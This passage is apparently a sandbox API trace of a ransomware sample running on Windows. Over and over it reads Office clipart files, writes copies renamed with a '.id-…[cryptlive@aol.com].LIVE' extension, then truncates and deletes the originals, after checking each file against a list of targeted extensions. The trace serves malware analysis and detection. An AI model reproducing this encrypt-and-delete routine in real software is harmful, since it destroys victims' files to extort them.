Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0159.963] lstrlenW (lpString=".1cd") returned 4 [0159.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0159.963] lstrlenW (lpString=".jpg") returned 4 [0159.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.964] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.964] lstrlenW (lpString="J0153087.WMF") returned 12 [0159.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0160.508] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1912) returned 1 [0160.508] CloseHandle (hObject=0x3c4) returned 1 [0160.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf")) returned 0x20 [0160.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0160.508] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.508] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0160.509] GetLastError () returned 0x0 [0160.509] ReadFile (in: hFile=0x3c4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x778, lpOverlapped=0x0) returned 1 [0160.523] WriteFile (in: hFile=0x1dc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x780, lpOverlapped=0x0) returned 1 [0160.524] ReadFile (in: hFile=0x3c4, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0160.524] WriteFile (in: hFile=0x1dc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.524] SetEndOfFile (hFile=0x1dc) returned 1 [0160.802] CloseHandle (hObject=0x1dc) returned 1 [0160.802] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.802] SetEndOfFile (hFile=0x3c4) returned 1 [0160.805] CloseHandle (hObject=0x3c4) returned 1 [0160.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf")) returned 1 [0160.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0160.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0160.830] lstrlenW (lpString=".doc") returned 4 [0160.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.830] lstrlenW (lpString=".docx") returned 5 [0160.830] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0160.830] lstrlenW (lpString=".pdf") returned 4 [0160.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.830] lstrlenW (lpString=".xls") returned 4 [0160.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.830] lstrlenW (lpString=".xlsx") returned 5 [0160.830] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0160.830] lstrlenW (lpString=".ppt") returned 4 [0160.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0160.830] lstrlenW (lpString=".zip") returned 4 [0160.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.830] lstrlenW (lpString=".rar") returned 4 [0160.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.830] lstrlenW (lpString=".bz2") returned 4 [0160.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.830] lstrlenW (lpString=".7z") returned 3 [0160.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0160.830] lstrlenW (lpString=".dbf") returned 4 [0160.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0160.831] lstrlenW (lpString=".1cd") returned 4 [0160.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0160.831] lstrlenW (lpString=".jpg") returned 4 [0160.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0160.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0160.831] lstrlenW (lpString=".doc") returned 4 [0160.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.831] lstrlenW (lpString=".docx") returned 5 [0160.831] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0160.831] lstrlenW (lpString=".pdf") returned 4 [0160.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.831] lstrlenW (lpString=".xls") returned 4 [0160.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.831] lstrlenW (lpString=".xlsx") returned 5 [0160.831] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0160.831] lstrlenW (lpString=".ppt") returned 4 [0160.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0160.831] lstrlenW (lpString=".zip") returned 4 [0160.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.831] lstrlenW (lpString=".rar") returned 4 [0160.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.831] lstrlenW (lpString=".bz2") returned 4 [0160.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.832] lstrlenW (lpString=".7z") returned 3 [0160.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0160.832] lstrlenW (lpString=".dbf") returned 4 [0160.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0160.832] lstrlenW (lpString=".1cd") returned 4 [0160.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF") returned 63 [0160.832] lstrlenW (lpString=".jpg") returned 4 [0160.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.832] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0160.832] lstrlenW (lpString="J0153093.WMF") returned 12 [0160.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0160.833] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=8880) returned 1 [0160.833] CloseHandle (hObject=0x384) returned 1 [0160.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf")) returned 0x20 [0160.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0160.833] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.834] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0160.834] GetLastError () returned 0x0 [0160.835] ReadFile (in: hFile=0x384, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x22b0, lpOverlapped=0x0) returned 1 [0160.840] WriteFile (in: hFile=0x314, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x22c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x22c0, lpOverlapped=0x0) returned 1 [0160.841] ReadFile (in: hFile=0x384, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0160.841] WriteFile (in: hFile=0x314, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.841] SetEndOfFile (hFile=0x314) returned 1 [0160.841] CloseHandle (hObject=0x314) returned 1 [0160.841] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.842] SetEndOfFile (hFile=0x384) returned 1 [0160.846] CloseHandle (hObject=0x384) returned 1 [0160.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.855] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf")) returned 1 [0160.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0160.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0160.856] lstrlenW (lpString=".doc") returned 4 [0160.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.856] lstrlenW (lpString=".docx") returned 5 [0160.856] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0160.856] lstrlenW (lpString=".pdf") returned 4 [0160.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.856] lstrlenW (lpString=".xls") returned 4 [0160.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.856] lstrlenW (lpString=".xlsx") returned 5 [0160.856] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0160.856] lstrlenW (lpString=".ppt") returned 4 [0160.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0160.856] lstrlenW (lpString=".zip") returned 4 [0160.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.856] lstrlenW (lpString=".rar") returned 4 [0160.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.856] lstrlenW (lpString=".bz2") returned 4 [0160.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.856] lstrlenW (lpString=".7z") returned 3 [0160.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0160.856] lstrlenW (lpString=".dbf") returned 4 [0160.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0160.857] lstrlenW (lpString=".1cd") returned 4 [0160.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0160.857] lstrlenW (lpString=".jpg") returned 4 [0160.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0160.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0160.857] lstrlenW (lpString=".doc") returned 4 [0160.857] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.857] lstrlenW (lpString=".docx") returned 5 [0160.857] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0160.857] lstrlenW (lpString=".pdf") returned 4 [0160.857] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.857] lstrlenW (lpString=".xls") returned 4 [0160.857] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.857] lstrlenW (lpString=".xlsx") returned 5 [0160.857] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0160.857] lstrlenW (lpString=".ppt") returned 4 [0160.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0160.857] lstrlenW (lpString=".zip") returned 4 [0160.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.857] lstrlenW (lpString=".rar") returned 4 [0160.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.857] lstrlenW (lpString=".bz2") returned 4 [0160.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.857] lstrlenW (lpString=".7z") returned 3 [0160.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0160.857] lstrlenW (lpString=".dbf") returned 4 [0160.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0160.857] lstrlenW (lpString=".1cd") returned 4 [0160.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF") returned 63 [0160.858] lstrlenW (lpString=".jpg") returned 4 [0160.858] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.858] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0160.858] lstrlenW (lpString="J0153265.WMF") returned 12 [0160.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0160.858] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3008) returned 1 [0160.858] CloseHandle (hObject=0x1dc) returned 1 [0160.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf")) returned 0x20 [0160.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0160.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0160.859] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.859] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0160.860] GetLastError () returned 0x0 [0160.860] ReadFile (in: hFile=0x1dc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xbc0, lpOverlapped=0x0) returned 1 [0160.867] WriteFile (in: hFile=0x1fc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0160.868] ReadFile (in: hFile=0x1dc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0160.868] WriteFile (in: hFile=0x1fc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.868] SetEndOfFile (hFile=0x1fc) returned 1 [0160.868] CloseHandle (hObject=0x1fc) returned 1 [0160.868] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0160.868] SetEndOfFile (hFile=0x1dc) returned 1 [0160.870] CloseHandle (hObject=0x1dc) returned 1 [0160.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0160.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf")) returned 1 [0160.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0160.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0160.920] lstrlenW (lpString=".doc") returned 4 [0160.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.920] lstrlenW (lpString=".docx") returned 5 [0160.920] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0160.920] lstrlenW (lpString=".pdf") returned 4 [0160.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.920] lstrlenW (lpString=".xls") returned 4 [0160.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.920] lstrlenW (lpString=".xlsx") returned 5 [0160.920] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0160.920] lstrlenW (lpString=".ppt") returned 4 [0160.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0160.920] lstrlenW (lpString=".zip") returned 4 [0160.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.920] lstrlenW (lpString=".rar") returned 4 [0160.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.920] lstrlenW (lpString=".bz2") returned 4 [0160.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.920] lstrlenW (lpString=".7z") returned 3 [0160.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0160.920] lstrlenW (lpString=".dbf") returned 4 [0160.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0160.920] lstrlenW (lpString=".1cd") returned 4 [0160.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0160.920] lstrlenW (lpString=".jpg") returned 4 [0160.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0160.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0160.920] lstrlenW (lpString=".doc") returned 4 [0160.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.921] lstrlenW (lpString=".docx") returned 5 [0160.921] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0160.921] lstrlenW (lpString=".pdf") returned 4 [0160.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.921] lstrlenW (lpString=".xls") returned 4 [0160.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.921] lstrlenW (lpString=".xlsx") returned 5 [0160.921] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0160.921] lstrlenW (lpString=".ppt") returned 4 [0160.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0160.921] lstrlenW (lpString=".zip") returned 4 [0160.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.921] lstrlenW (lpString=".rar") returned 4 [0160.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.921] lstrlenW (lpString=".bz2") returned 4 [0160.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.921] lstrlenW (lpString=".7z") returned 3 [0160.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0160.921] lstrlenW (lpString=".dbf") returned 4 [0160.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0160.921] lstrlenW (lpString=".1cd") returned 4 [0160.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF") returned 63 [0160.921] lstrlenW (lpString=".jpg") returned 4 [0160.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.921] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0160.921] lstrlenW (lpString="J0153273.WMF") returned 12 [0160.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 